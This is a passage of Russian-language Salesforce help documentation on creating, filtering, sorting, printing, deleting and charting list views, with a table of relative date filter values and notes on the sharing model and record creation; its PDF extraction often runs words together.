Если организация использует подразделения для сегментирования данных, а пользователю предоставлено
полномочие «В зависимости от подразделений», выберите подразделение, которому должны соответствовать
записи спискового представления. Если поиск не охватывает все записи, то данный параметр отключен.

Чтобы просмотреть записи текущего рабочего подразделения, выберите значение «--Текущее--».

Фильтровать по дополнительным полям
Чтобы задать условия, которым должны соответствовать выбранные элементы, введите критерий фильтрации
(например, «"Источник интереса" равно "Интернет"»). При необходимости воспользуйтесь специальными
значениями дат.

Прим.: Поле «Дата создания», выбранное в фильтре спискового представления, может содержать только
дату, но не время. Данное ограничение не применяется к другим фильтрам.

4. Выбор полей для отображения

Стандартные поля выбираются автоматически. Пользователь может выбрать не более 15 различных полей для
отображениявпредставлении. Представлениеможет содержать толькотеполя, которыедоступнывмакете страницы.
При выборе поля типа «Область подробного текста» списковое представление отображает не более 255 символов.

a. Чтобы добавить или удалить поле, выберите имя нужного поля и нажмите кнопку «Добавить» или «Удалить».

b. Чтобы определить порядок отображения полей, воспользуйтесь стрелками.

5. Ограничение доступности

Администраторы и пользователи с полномочием «Управление общедоступными списковыми представлениями»
могут определять доступность настраиваемогопредставления. Данныйпараметрнедоступен в версии Personal Edition.
Просмотр спискового представления доступен только при наличии соответствующего полномочия «Чтение» для
типа записей спискового представления.

Кроме того, версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют выбирать
общедоступные группы, роли или нижестоящие роли для просмотра настраиваемого представления. Чтобы
предоставить общий доступ к списковому представлению, установите переключатель «Доступно определенным
группам пользователей», выберите нужный тип группы или роли из раскрывающегося списка, выберите нужную
группу или роль из списка ниже и нажмите кнопку «Добавить».

Прим.: Списковые представления доступны клиентам на клиентском портале Salesforce, если переключатель
«Доступно всем пользователям» установлендляпредставленийобъектов, назначенныхпрофилямпользователей
клиентского портала. Чтобы создать списковые представления, доступные только пользователям Salesforce,
установите переключатель «Доступно определенным группам пользователей» и предоставьте доступ группе
«Все внутренние пользователи» или выбранному набору внутренних групп и ролей.

При внедрении клиентского портала создайте настраиваемые представления, содержащие только важные
сведения для пользователей клиентского портала, а затем предоставьте пользователям клиентского портала
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доступкданнымпредставлениямпосредством группы «Всепользователиклиентскогопортала» иливыбранного
набора ролей и групп портала.

6. Нажмите кнопку «Сохранить». Представление добавляется в раскрывающийся список «Просмотр» и доступно для
использования.

Чтобысохранитькритериисписковогопредставлениябезизмененияисходногопредставления, переименуйтетекущее
списковое представление и нажмите кнопку «Сохранить как».

Чтобыоткрытьпоследнююпросмотреннуюстраницу со списком, щелкните ссылку «Назадксписку», расположенную
вверху любой страницы сведений.

Прим.: Сведения, отображаемые в списковых представлениях, представляют собой только те данные, к которым
имеется доступ, т. е. либо записи, которые принадлежат нынешнему владельцу или на которые у него есть права на
доступ по чтению/записи, либо записи, которыми кто-то поделился, либо те записи, которые принадлежат или
которымиделилисьпользователи с роляминижероли владельца в иерархииролей. Доступныеполя определяются
макетами страниц и параметрами безопасности поля.

Крометого, архивированныедействияне включенывпредставленияодействияхв виде списков. Чтобыпросмотреть
данные действия, воспользуйтесь связанным списком «Журнал действий».

Изменение фильтров представления в виде списка
Уточните или обновите представления в виде списка, чтобы обеспечить отображение наиболее актуальных записей.
Чтобы изменить выбор записей, отображаемых в представлении в виде списка, изменитефильтры представления в виде
списка.

Редактирование фильтров спискового представления в Lightning Experience

Отредактируйте фильтры спискового представления посредством меню «Элементы управления спискового

представления» илищелкните значок для открытия панели «Фильтры».

Изменение фильтров спискового представления в Salesforce Classic

Чтобы изменить фильтры представления в виде списка, отредактируйте список.

СМ. ТАКЖЕ:

Справочник по операторам фильтров

Создание спискового представления в Lightning Experience
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Редактирование фильтров спискового представления в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
списковых представлений:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Для создания,
редактирования или
удаления общедоступных
списковых представлений:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Отредактируйте фильтры спискового представления посредством меню «Элементы

управлениясписковогопредставления» илищелкнитезначок дляоткрытияпанели
«Фильтры».

Прим.: Данные действия поддерживаются в Lightning Experience. Если слева
находится панель навигации, вы в Lightning Experience. Панель вкладок,
отображающаясяповсейшириневерхнейчастиэкрана, указываетнаиспользование
Salesforce Classic.

Действия, доступныенадсписковымипредставлениями, отображаютсявменю «Элементы
управления спискового представления», которое открывается путем нажатия значка

напротив имени нужного спискового представления.

1. Выберите «Редактироватьфильтры списка» в меню «Элементы управления

спискового представления». При необходимостищелкните значок . Данное
действие инициирует отображение панели «Фильтры».

2. Добавьте, удалите или отредактируйте фильтры для просмотра только тех записей,
которые соответствуют заданным критериям. Доступные параметры определяются
полем для фильтрации и выбранным оператором.

a. Выберите нужное поле для фильтрации посредством раскрывающегося меню
«Создать фильтр».

b. Нажмите кнопку «Готово».

c. Выберитенужныйоператорпосредствомраскрывающегосяменю «Фильтровать
по:». Например, выберитеоператор «равно», «начинаетсяс»или «исключает».

d. Выберите или введите нужное значение в поле «Значение».

e. Нажмите кнопку «Готово».

f. Чтобы задать другой фильтр, щелкните «Добавитьфильтр».

g. Чтобы удалитьфильтр, щелкните значок напротив имени нужногофильтра.

3. Чтобыприменитьотредактированныефильтрыиобновить список, нажмитекнопку
«Сохранить».

Результаты сохраненных изменений отображаются всем пользователям, имеющим доступ к списку.

Пример: Допустим, чтонаборвозможностейдолженотображатьсяпосредствомдоски, носписковоепредставление
содержит записи разных типов. Доска «Возможности» может отображать только списковые представления,
содержащиезаписиодноготипа. Чтобыразрешитьотображениепредставленияпосредствомдоски, отредактируйте
фильтрысписковогопредставления. Выберите «Добавитьфильтр»напанели «Фильтры». Выберите «Типзаписи
возможности» и оператор «равно», а затем введите нужное значение. Теперь отредактированное списковое
представление может отображаться посредством доски.

Прим.: Списковые представления содержат данные, доступные пользователю, а именно: собственные записи;
записи, доступныедлячтенияи записи; записи, предоставленныедругимипользователями; записи, принадлежащие
или доступные пользователям нижестоящих ролей в иерархии ролей. Доступные поля определяются макетами
страниц и параметрами безопасности поля.
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Изменение фильтров спискового представления в Salesforce Classic

ВЕРСИИ

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы изменить
представления в виде
списков:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Для правки, создания,
редактирования и удаления
общедоступных списковых
представлений:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Чтобы изменить фильтры представления в виде списка, отредактируйте список.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

1. Нажмите «Правка» рядом с именем представления в виде списка. Пользователям
без полномочия «Управление общедоступными списковыми представлениями»
вместо ссылки «Правка» отображается ссылка «Клонировать», позволяющая
клонировать общедоступные или стандартные представления.

2. В разделе «Определение критериев фильтрации» измените сделанный выбор
«Фильтровать по ответственному», при необходимости. Добавьте или измените
выбранные значения «Поле», «Оператор» или «Значение» вразделе «Фильтровать
по дополнительным полям», при необходимости.

3. Нажмите «Сохранить», чтобы применить измененные фильтры к представлению
в виде списка.

Все пользователи с доступом к представлению в виде списка увидят результаты
сохраненных вами изменений.

Прим.: Сведения, отображаемыевсписковыхпредставлениях, представляютсобой
толькотеданные, к которымимеетсядоступ, т. е. либозаписи, которыепринадлежат
нынешнему владельцу или на которые у него есть права на доступ по
чтению/записи, либо записи, которымикто-топоделился, либо те записи, которые
принадлежатиликоторымиделилисьпользователисроляминижероливладельца
виерархииролей. Доступныеполяопределяютсямакетамистраниципараметрами
безопасности поля.

Сортировка списковых представлений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для сортировки спискового
представления:
• «Чтение» для записей,

добавленных в список

Связанные записи многих объектов доступны для просмотра в виде списков, которые
такженазываются списковымипредставлениями.Приналичиидлинногоспискаможно
отсортировать записипоодномуиз столбцов. Например, списковоепредставление «Все
организации» может быть отсортировано по столбцу «Имя организации» или
«Область/штат для счета». Также можно выполнить сортировку настраиваемых
списковых представлений. Сортировка выполняется по алфавиту.

1. Откройте списковое представление.

2. Щелкните заголовок нужного столбца.
Отобразится стрелка, определяющая порядок сортировки списка: начиная с первой
( ) или последней ( ) записи столбца.

Прим.: Начиная с выпуска Spring'13 сортировка списковых представлений не
поддерживаетсядляобъекта «Пользователи» ворганизацияхSalesforce, включающих
более 2 млн. пользователей.

СМ. ТАКЖЕ:

Создание настраиваемых списковых представлений в Salesforce Classic
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Печать спискового представления в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для печати списковых
представлений:
• «Чтение» для записей,

добавленных в список

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

Если организация использует списковые представления для печати, то пользователи
могут печатать стандартные и настраиваемые списковые представления.

1. Выберитенужноесписковоепредставление. Например: «Всеорганизации» навкладке
«Организации».

2. Принеобходимостивыполнитесортировкусодержимогосписковогопредставления.

3. Щелкните значок .

4. Выберите нужное количество записей в новом окне. Чтобы распечатать более 1 000
записей, запуститеотчетинажмитекнопку «Версиядляпечати»настраницеотчета.

5. Щелкните ссылку «Печать этой страницы».

Удаление представления в виде списка

ВЕРСИИ

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления
общедоступных
представлений в виде
списка:
• «Управление

общедоступными
списковыми
представлениями»

Удалитепредставлениеввидесписка, когдаонобольшененужно, чтобырабочаяобласть
содержала самые последние данные.

Удаление спискового представления в Lightning Experience

Можно удалить представление в виде списка, если оно больше не нужно.

Удаление спискового представления в Salesforce Classic

Ненужное настраиваемое представление можно удалить.
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Удаление спискового представления в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления
общедоступных
представлений в виде
списка:
• «Управление

общедоступными
списковыми
представлениями»

Можно удалить представление в виде списка, если оно больше не нужно.

Прим.: Выполнитеследующиедействияв Lightning Experience. Еслислеванаходится
панельнавигации, выв Lightning Experience. Есливверху экранаимеетсяряд вкладок,
вы находитесь в Salesforce Classic.

1. Выберите представление в виде списка.

2.
Нажмите для доступа к элементам управления представлением списка.

3. Выберите «Удалить».

Удаление спискового представления в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления
общедоступных
представлений в виде
списка:
• «Управление

общедоступными
списковыми
представлениями»

Ненужное настраиваемое представление можно удалить.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

1. Выберите настраиваемое списковое представление.

2. Нажмите кнопку «Правка».

3. Нажмите кнопку «Удалить».

СМ. ТАКЖЕ:

Создание настраиваемых списковых представлений в Salesforce Classic
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Относительные значения дат для критериев фильтрации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

При создании спискового представления, содержащего фильтры для диапазона дат
(например, «Дата создания» или «Дата последнего обновления»), рекомендуем
использовать как минимум одно относительное значение даты для определения
диапазона.

Важное замечание: Создание ифильтрация списковых представлений в Lightning
Experience в настоящее время доступны только в пробной версии. Пробная версия
данной функции предоставляется отдельным клиентам после принятия
соответствующихусловий. ДляполучениядоступаобратитесьвкомпаниюSalesforce.
Принятие пробной версии не гарантируется ввиду ее возможного изменения.
Согласноданномудокументу, другимпресс-релизамиофициальнымсообщениям,
даннаяпробнаяфункцияне являетсяобщедоступной. Компания Salesforce неможет
гарантировать ее общедоступность на постоянной или временной основе.
Принимайте решения о покупке только на основе обычных доступныхфункций.

Например, чтобы создать настраиваемое представление или отчет по организациям, созданным на прошлой неделе,
введите критерий «"Дата создания" равно "ПРОШЛАЯ НЕДЕЛЯ"». При использовании относительных значений
дат с переменными (например, «СЛЕДУЮЩИЕ N ДН.») замените N любым числом больше нуля.

Относительные значения дат не чувствительны к регистру. Значения «ПРОШЛАЯНЕДЕЛЯ» и «прошлая неделя»
идентичны.

Чтобы добавить несколько диапазонов в одно поле, воспользуйтесь запятыми.

Прим.: В версиях Enterprise Edition, Unlimited Edition, Performance Edition, Professional Edition и Developer Edition неделя
определяется раскрывающимся списком «Регион», доступным на странице личных сведений. В версиях Contact
Manager, Group Editionи Personal Edition неделя определяется параметром «Регион», доступным в профиле компании.
Например, если параметр «Регион» содержит значение «Английский (США)», то неделя длится с воскресенья по
субботу, а если значение «Английский (Великобритания)», то неделя длится с понедельника по воскресенье.

Прим.: Относительные значения дат в таблице, отмеченные звездочкой (*), недоступны в Lightning Experience.

ДиапазонОтносительное значение даты

Начинается в 00:00:00 дня, предшествующего текущему, и продолжается
24 часа.

ВЧЕРА

Начинается в 00:00:00 текущего дня и продолжается 24 часа.СЕГОДНЯ

Начинается в 00:00:00 дня, следующего за текущим, и продолжается
24 часа.

ЗАВТРА

Начинается в 00:00:00 первого дня недели, предшествующей текущей, и
продолжается 7 дней.

ПРОШЛАЯНЕДЕЛЯ

Начинается в 00:00:00 первогодня текущейнеделиипродолжается 7 дней.ТЕКУЩАЯНЕДЕЛЯ

Начинается в 00:00:00 первого дня недели, следующей за текущей, и
продолжается 7 дней.

СЛЕДУЮЩАЯНЕДЕЛЯ*

Начинается в 00:00:00 первого дня недели, предшествующей текущей на
n недель, и продолжается до 23:59 последнего дня предыдущей недели.

ПОСЛЕДНИЕ n НЕД.*
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ДиапазонОтносительное значение даты

Начинается в 00:00:00 первого дня недели, следующей за текущей, и
продолжается n недель.

СЛЕДУЮЩИЕ n НЕД.*

Начинается в 00:00:00 первого дня недели, предшествующей текущей на
n недель, и продолжается 1 неделю.

n НЕД. НАЗАД*

Начинается в 00:00:00 первого дня месяца, предшествующего текущему,
и продолжается весь месяц.

ПРОШЛЫЙМЕСЯЦ

Начинается в 00:00:00 первого дня текущего месяца и продолжается весь
месяц.

ТЕКУЩИЙМЕСЯЦ

Начинается в 00:00:00 первого дня месяца, следующего за текущим, и
продолжается до конца n-го месяца.

СЛЕДУЮЩИЕ n МЕС.*

Начинается в 00:00:00 первого дня месяца, предшествующего текущему
на n месяцев, и продолжается до 23:59 последнего дня предыдущего
месяца.

ПОСЛЕДНИЕ n МЕС.*

Начинается в 00:00:00 первого дня месяца, предшествующего текущему
на n месяцев, и продолжается весь месяц.

n МЕС. НАЗАД*

Начинается в 00:00:00 первого дня месяца, следующего за текущим, и
продолжается весь месяц.

СЛЕДУЮЩИЙМЕСЯЦ*

Начинается в 00:00:00 дня, предшествующего текущему на 90 дней, и
продолжается до настоящего времени. (Диапазон охватывает текущую
дату.)

ПОСЛЕДНИЕ 90 ДНЕЙ*

Начинается в 00:00:00 дня, следующего за текущим, и продолжается
90 дней. (Диапазон не охватывает текущую дату.)

СЛЕДУЮЩИЕ 90 ДНЕЙ*

Начинается в 00:00:00 за n дн. до текущего дня и продолжается до
настоящеговремени. (Диапазонохватываеттекущуюдату. Использование

ПОСЛЕДНИЕ n ДН.*

данного значения даты инициирует создание списка записей, начиная
содня, вычисляемогопоформуле n + 1 дн. назад, изаканчиваятекущим
днем.)

Начинается в 00:00:00 дня, следующего за текущим, и продолжается n
дней. (Диапазон не охватывает текущую дату.)

СЛЕДУЮЩИЕ n ДН.*

Начинается в 00:00:00 дня, предшествующего текущему на n дн., и
продолжается 24 часа. (Диапазон не охватывает текущую дату.)

n ДН. НАЗАД*

Начинается в 00:00:00 первого дня календарного квартала,
предшествующего текущему, и продолжается до конца квартала.

ПОСЛЕДНИЙКВАРТАЛ

Начинается в 00:00:00 первого дня текущего календарного квартала и
продолжается до конца квартала.

ТЕКУЩИЙКВАРТАЛ

Начинается в 00:00:00 первого дня календарного квартала, следующего
за текущим, и продолжается до конца квартала.

СЛЕДУЮЩИЙКВАРТАЛ*
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ДиапазонОтносительное значение даты

Начинается в 00:00:00 первого дня календарного квартала,
предшествующего текущему на n кварталов, и продолжается до конца

ПОСЛЕДНИЕ n КВАРТ.*

предыдущего календарного квартала. (Диапазон не охватывает текущий
квартал.)

Начинается в 00:00:00 первого дня календарного квартала, следующего
за текущим, и продолжается до конца n-го календарного квартала.
(Диапазон не охватывает текущий квартал.)

СЛЕДУЮЩИЕ n КВАРТ.*

Начинается в 00:00:00 первого дня календарного квартала,
предшествующего текущему на n кварталов, и продолжается до конца
квартала.

n КВАРТ. НАЗАД*

Начинается в 00:00:00 1 января года, предшествующего текущему, и
продолжается до 31 декабря.

ПРОШЛЫЙГОД

Начинается в 00:00:00 1 января текущего года и продолжается до
31 декабря.

ТЕКУЩИЙГОД

Начинается в 00:00:00 1 января года, следующего за текущим, и
продолжается до 31 декабря.

СЛЕДУЮЩИЙГОД*

Начинается в 00:00:00 1 января календарного кода, предшествующего
текущему на n года, и продолжается до 31 декабря.

n ЛЕТ (ГОДА) НАЗАД*

Начинается в 00:00:00 1 января календарного кода, предшествующего
текущему на n+1 года. Диапазон завершается 31 декабря календарного
года, предшествующего текущему.

ПОСЛЕДНИЕ n ЛЕТ (ГОДА)*

Начинаетсяв 00:00:00 1 январякалендарногогода, следующегоза текущим,
и продолжается до 31 декабря n года.

СЛЕДУЮЩИЕ n ЛЕТ (ГОДА)*

Начинается в 00:00:00 первого дня финансового квартала,
предшествующего текущему, и продолжается до конца финансового

ПОСЛЕДНИЙФИНАНСОВЫЙ
КВАРТАЛ*

квартала. Финансовый квартал определяется на странице «Финансовый
год» в меню «Настройка».

Прим.: ФИНАНСОВЫЕ литеральные значения дат не
поддерживаются при создании настраиваемых мобильных
представлений.

Начинается в 00:00:00 первого дня текущего финансового квартала и
продолжается до конца текущего финансового квартала. Финансовый
кварталопределяетсянастранице «Финансовыйгод» вменю «Настройка».

ТЕКУЩИЙФИНАНСОВЫЙКВАРТАЛ*

Начинается в 00:00:00 первого дня финансового квартала, следующего
за текущим, и продолжается до концафинансового квартала. (Диапазон

СЛЕДУЮЩИЙФИНАНСОВЫЙ
КВАРТАЛ*

не охватывает текущий квартал.) Финансовый квартал определяется на
странице «Финансовый год» в меню «Настройка».

Начинается в 00:00:00 первого дня финансового квартала,
предшествующеготекущемуна n финансовыхкварталов, ипродолжается

ПОСЛЕДНИЕ nФИНАНСОВЫХКВАРТ.*
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ДиапазонОтносительное значение даты

до конца предыдущегофинансового квартала. (Диапазон не охватывает
текущийфинансовый квартал.) Финансовый квартал определяется на
странице «Финансовый год» в меню «Настройка».

Начинается в 00:00:00 первого дня финансового квартала, следующего
за текущим, и продолжается до конца n-го финансового квартала.

СЛЕДУЮЩИЕ n ФИНАНСОВЫХ
КВАРТ.*

(Диапазон не охватывает текущийфинансовый квартал.) Финансовый
кварталопределяетсянастранице «Финансовыйгод» вменю «Настройка».

Начинается в 00:00:00 первого дня финансового квартала,
предшествующего текущему на n фин. кварт., и продолжается до конца
финансового квартала.

n ФИНАНСОВЫХКВАРТ. НАЗАД*

Начинается в 00:00:00 первогодняфинансового года, предшествующего
текущему, и продолжается до конца финансового года. Финансовый
кварталопределяетсянастранице «Финансовыйгод» вменю «Настройка».

ПОСЛЕДНИЙФИНАНСОВЫЙГОД*

Начинается в 00:00:00 первого дня текущего финансового года и
продолжается до конца финансового года. Финансовый квартал
определяется на странице «Финансовый год» в меню «Настройка».

ТЕКУЩИЙФИНАНСОВЫЙГОД

Начинается в 00:00:00 первого дня финансового года, следующего за
текущим, и продолжается до конца финансового года. Финансовый
кварталопределяетсянастранице «Финансовыйгод» вменю «Настройка».

СЛЕДУЮЩИЙФИНАНСОВЫЙГОД*

Начинается в 00:00:00 первогодняфинансового года, предшествующего
текущему на n финансовых лет, и продолжается до конца предыдущего

ПОСЛЕДНИЕ n ФИНАНСОВЫХЛЕТ
(ГОДА)*

финансового года. (Диапазон не охватывает текущийфинансовый год.)
Финансовый квартал определяется на странице «Финансовый год» в
меню «Настройка».

Начинается в 00:00:00 первого дня финансового года, следующего за
текущим, и продолжается до конца n-го финансового года. (Диапазон

СЛЕДУЮЩИЕ n ФИНАНСОВЫХЛЕТ
(ГОДА)*

не охватывает текущийфинансовый год.) Финансовый квартал
определяется на странице «Финансовый год» в меню «Настройка».

Начинается в 00:00:00 первогодняфинансового года, предшествующего
текущему на n финансовых лет, и продолжается до концафинансового
года.

n ФИНАНСОВЫХЛЕТ (ГОДА) НАЗАД*
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Визуализация данных спискового представления с графиками в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы просматривать
графики представлений в
виде списков:
• «Чтение» для типа

записи, добавленного в
список

См. графическое представление данных представлений в виде списка с графиками
представлений в виде списка. Есть три типа графиков: вертикальный столбчатый,
горизонтальныйстолбчатыйитороидальный. Длялюбогопредставленияв виде списка
выберите из доступных стандартных и пользовательских графиков представления в
видеграфиков. Можноизменитьотображениеданныхнадругойтип, принеобходимости.

Прим.: Выполнитеследующиедействияв Lightning Experience. Еслислеванаходится
панельнавигации, выв Lightning Experience. Есливверху экранаимеетсяряд вкладок,
вы находитесь в Salesforce Classic.

1. На домашней странице объекта выберите представление в виде списка с теми
данными, которые вы хотите визуализировать.

2. Нажмите .
Откроется панель диаграмм.

3. Для выбора другого графика нажмите рядом с именем графика.

4. Чтобыизменить графическое отображение данныхнажмите в панелидиаграмм
и выберите новый тип графика.
Ваши данные изменятся на новое отображение.

СМ. ТАКЖЕ:

Создание диаграммы спискового представления в Lightning Experience

Изменение графика спискового представления в Lightning Experience

Создание диаграммы спискового представления в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания диаграмм
спискового представления:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Создайте диаграмму для визуализации данных спискового представления.
Поддерживаются три типа диаграмм: вертикальная, горизонтальная и круговая. При
необходимости измените тип отображения данных для любой диаграммы спискового
представления. При создании диаграммы спискового представления для объекта
(например, «Возможности» или «Интересы») диаграмма связывается с объектом.
Диаграммаподдерживаетсялюбымсписковымпредставлением, доступнымпользователю
для просмотра в данном объекте, кроме списка «Недавно просмотренные».

Прим.: Данные действия поддерживаются в Lightning Experience. Если слева
находится панель навигации, вы в Lightning Experience. Панель вкладок,
отображающаясяповсейшириневерхнейчастиэкрана, указываетнаиспользование
Salesforce Classic.

1. Выберите нужное списковое представление на начальной странице объекта.

2. Щелкните значок .

3. Щелкните значок на открывшейся панели «Диаграммы».

4. Выберите «Создать диаграмму».
Данное действие инициирует отображение диалогового окна.

5. Введите имя диаграммы.

6. Выберите нужный тип диаграммы: вертикальная, горизонтальная или круговая.
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7. Выберите тип совокупности, поле совокупности и поле группировки.

Тип совокупности определяет способ вычисления данных поля: по сумме, количеству или среднему значению. Поле
совокупности определяет тип данных для вычисления. Поле группировки определяет метки сегментов диаграммы.

8. Чтобы просмотреть диаграмму, щелкните «Сохранить».

Пример: Группам сбыта требуется сравнение организаций по количеству сотрудников для повышения
эффективности поиска потенциальных клиентов в крупных корпорациях. Один из представителей создает
горизонтальную диаграмму путем выбора типа совокупности «Сумма», поля совокупности «Сотрудники» и поля
группировки«Имяорганизации». Диаграммаотображаетколичествосотрудниковвкаждойорганизациипоимени
организации.

СМ. ТАКЖЕ:

Визуализация данных спискового представления с графиками в Lightning Experience

Изменение графика спискового представления в Lightning Experience

Изменение графика спискового представления в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы изменить графики
представлений в виде
списков:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Уточните или обновите настраиваемые графики представления в виде списка, чтобы
обеспечить отображение наиболее значимых визуализаций данных. Есть три типа
графиков: вертикальный столбчатый, горизонтальный столбчатый и тороидальный.
Для любого из графиков представления в виде списка можно изменить отображение
данных на другой тип, при необходимости.

Прим.: Выполнитеследующиедействияв Lightning Experience. Еслислеванаходится
панельнавигации, выв Lightning Experience. Есливверху экранаимеетсяряд вкладок,
вы находитесь в Salesforce Classic.

1. На домашней странице объекта нажмите .

2. В панели диаграмм, которая появится, выберите имя одного из настраиваемых
графиков.

3. Нажмите на .

4. Выберите «Изменить график».
При этом отображается диалоговое окно.

5. Внесите необходимые изменения в название графика, тип графика, тип агрегации,
поле агрегации или поле группирования.

Тип агрегации определяет, как будут подсчитываться данные в полях: по сумме, по
количеству или по среднему значению. Поле агрегации определяет тип данных для
вычисления. Поле группирования маркирует сегменты графика.

6. Для просмотра отредактированного графика нажмите Save.

Прим.: Нельзяизменять стандартныеилипредварительнонастроенные графики. Можноизменять только графики,
которые вы создаете сами. Нельзя удалять графики просмотра в виде списков.

СМ. ТАКЖЕ:

Визуализация данных спискового представления с графиками в Lightning Experience

Создание диаграммы спискового представления в Lightning Experience
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Как работает модель общего доступа?
Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяютадминистратору
определять стандартную модель общего доступа к организации путем настройки единых стандартных параметров.
Единые стандартные параметры определяют уровень доступа к записям, используемый по умолчанию. Единым
стандартнымпараметрам большинства объектов могут быть заданы следующие значения: «Личный», «Общедоступный:
только для чтения» или «Общедоступный: для чтения и записи».

Если модели общего доступа к объекту задано значение «Личный» или «Общедоступный: только для чтения», то
администраторможетпредоставитьпользователямдополнительныйдоступк записямпосредствомнастройкииерархии
ролейиопределенияправилобщегодоступа. Иерархииролейиправилаобщегодоступапозволяюттолькопредоставлять
дополнительный доступ и не могут ограничивать уровень доступа к записям, заданный изначально в модели общего
доступа посредством единых стандартных параметров.

Нижеперечисленыметоды, используемыедляпредоставлениядоступапользователямприпримененииединыхстандартных
параметров.

• Иерархия ролей

• Правила общего доступа

• Общий доступ, установленный вручную

• Скрытый доступ (организации и связанные дочерние записи)

• Рабочие группы (организации, обращения и возможности)

Какие типы записей поддерживают печать списковых представлений?
Ниже перечислены типы записей, поддерживающие печать стандартных и настраиваемых списковых представлений
(если организация использует списковые представления для печати).

• Организации

• Действия

• Кампании

• Обращения

• Контакты

• Контракты

• Настраиваемые объекты

• Документы

• Интересы

• Возможности

• Наборы полномочий

• Прайс-листы

• Профили

• Продукты

• Отчеты

• Решения
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Открытие недавно просмотренных элементов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Раздел «Недавние элементы» боковой панели Salesforce содержит 10 элементов (записи,
документы, настраиваемые объекты и предпочтения), добавленных, измененных или
просмотренных последними.

Чтобыоткрытьстраницупросмотраилиредактированиясведенийобэлементе, щелкните
соответствующую ссылку.

Совет: Еслиорганизацияподдерживаетвсплывающиесведения, наведитеуказатель
мыши на любой элемент списка «Недавние элементы», чтобы просмотреть
ключевую информацию о записи до открытия соответствующей страницы
просмотра или редактирования сведений.

Прим.: При удалении недавно просмотренных записей раздел «Недавние элементы» может содержать менее
10 элементов. Аналогично, списки недавних записей (например, список «Недавние интересы»), доступные на
начальных страницах вкладок, могут содержать менее 10 или 25 элементов.

Создание записей

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Создание записей — это стандартная процедура для большинства пользователей
Salesforce. Процесс создания записи идентичен для всех объектов, однако некоторые
объекты (например, организации) отличаются наличием специальных рекомендаций.

Создание записи в Salesforce Lightning Experience

Создайте записи Salesforce для возможностей, интересов, задач, примечаний,
организаций и контактов. Процесс создания записи аналогичен для всех объектов,
однако некоторые объекты (например, организации) отличаются наличием
специальных рекомендаций.

Создание записи в Salesforce Classic

Создайте новые записи Salesforce для возможностей, интересов, задач, примечаний, организаций и контактов. Процесс
создания записи идентичен для всех объектов, однако некоторые объекты (например, организации) отличаются
наличием специальных рекомендаций.

СМ. ТАКЖЕ:

Редактирование записей

Удаление записей

Рекомендации по вводу валют, дат, времени и номеров телефонов

Создание примечаний и их добавление к записям

Вложение файлов в записи
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Создание записи в Salesforce Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Доступно в версиях: все
версии.

Создайте записиSalesforceдлявозможностей, интересов, задач, примечаний, организаций
и контактов. Процесс создания записи аналогичен для всех объектов, однако некоторые
объекты (например, организации) отличаются наличием специальных рекомендаций.

Прим.: Данная информация предназначается пользователям Lightning Experience.
Панель навигации, отображающаяся в левой части экрана, указывает на
использование Lightning Experience. Панель вкладок, отображающаяся по всей
ширине верхней части экрана, указывает на использование Salesforce Classic.

Lightning Experience позволяет создавать записи разными способами.

